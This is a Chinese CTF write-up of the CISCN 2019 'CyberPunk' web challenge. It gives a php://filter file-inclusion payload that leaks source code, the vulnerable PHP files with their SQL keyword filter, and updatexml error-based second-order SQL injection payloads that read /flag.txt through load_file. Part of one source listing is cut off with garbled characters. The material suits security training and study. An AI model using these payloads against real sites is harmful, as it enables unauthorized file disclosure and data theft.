• ciscn2019华北赛区半决赛day1web5CyberPunk


    刚比赛完的一段时间期末考试云集,没有时间复现题目。趁着假期,争取多复现几道题。

    复现平台

    buuoj.cn

    解题过程

    首先进入题目页面
    index

    看起来没有什么特别的,就是一个可以提交信息的页面。查看响应报文也没有什么提示,但是在网页注释里有东西。

    <!--?file=?-->
    

    这里可能有一个文件包含,尝试payload

    http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php
    

    结果得到了当前页面经过加密后的源码
    源码

    有关伪协议的内容,可以大致参考下这篇文章:https://www.cnblogs.com/dubhe-/p/9997842.html

    <?php
    ini_set('open_basedir', '/var/www/html/');
    
    // $file = $_GET["file"];
    $file = (isset($_GET['file']) ? $_GET['file'] : null);
    if (isset($file)){
        if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
            echo('no way!');
            exit;
        }
        @include($file);
    }
    ?>
    //HTML页面的代码省略,保留之前说的注释
    <!--?file=?-->
    

    用同样的方法,根据表单中暴露的位置,获取confirm.php,change.php,search.php等页面的内容。

    <?php
    #change.php
    require_once "config.php";
    
    if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
    {
        $msg = '';
        $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
        $user_name = $_POST["user_name"];
        $address = addslashes($_POST["address"]);
        $phone = $_POST["phone"];
        if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
            $msg = 'no sql inject!';
        }else{
            $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
            $fetch = $db->query($sql);
        }
    
        if (isset($fetch) && $fetch->num_rows>0){
            $row = $fetch->fetch_assoc();
            $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
            $result = $db->query($sql);
            if(!$result) {
                echo 'error';
                print_r($db->error);
                exit;
            }
            $msg = "订单ä
    
    
    
    <?php
    #search.php
    require_once "config.php"; 
    
    if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
    {
        $msg = '';
        $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
        $user_name = $_POST["user_name"];
        $phone = $_POST["phone"];
        if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
            $msg = 'no sql inject!';
        }else{
            $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
            $fetch = $db->query($sql);
        }
    
        if (isset($fetch) && $fetch->num_rows>0){
            $row = $fetch->fetch_assoc();
            if(!$row) {
                echo 'error';
                print_r($db->error);
                exit;
            }
            $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
        } else {
            $msg = "未找到订单!";
        }
    }else {
        $msg = "信息不全";
    }
    ?>
    #无用的HTML代码省略
    

    分析代码可以知道,每个涉及查询的界面都过滤了很多东西来防止SQL注入,而且过滤的内容非常广泛,很难进行注入。

    但是尽管username和phone过滤非常严格,而address却只是进行了简单的转义。经过分析便找到了可以利用的地方。这里提取了一些change.php中和address相关的部分。

    $address = addslashes($_POST["address"]);
    if (isset($fetch) && $fetch->num_rows>0){
            $row = $fetch->fetch_assoc();
            $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
            $result = $db->query($sql);
            if(!$result) {
                echo 'error';
                print_r($db->error);
                exit;
            }
    

    可以看出,address会被转义,然后进行更新,也就是说单引号之类的无效了。但是,在地址被更新的同时,旧地址被存了下来。如果第一次修改地址的时候,构造一个含SQL语句特殊的payload,然后在第二次修改的时候随便更新一个正常的地址,那个之前没有触发SQL注入的payload就会被触发。

    思路有了以后,接下来就是构造payload,下面将借助报错注入来构造payload。

    payload构造

    1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
    

    直接load_file不能显示全,这里分两次构造payload。

    1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
    

    结果如下
    半个flag
    余下flag

    payload使用

    两个payload的使用方法为:

    先在初始页面随便输数据,记住姓名电话
    余下flag

    接着修改地址,地址修改为所构造的payload。修改之后再次修改,将地址设置为随便一个正常值,比如1,这样就能看到报错页面。
    修改地址

    如果想要使用新的payload,只需要删除订单在重复以上操作即可。
    删除订单

  • 相关阅读:
    BZOJ1027 [HNOI2004]打鼹鼠 【dp】
    面试的绝招(V1.0)
    面试的绝招(V1.0)
    Google是如何做测试的?
    Google是如何做测试的?
    Google是如何做测试的?
    六年测试之精华分享:产品质量应从哪些方面提高
    六年测试之精华分享:产品质量应从哪些方面提高
    六年测试之精华分享:产品质量应从哪些方面提高
    拒绝混乱,回归有序
  • 原文地址:https://www.cnblogs.com/kevinbruce656/p/11347127.html
Copyright © 2020-2023  润新知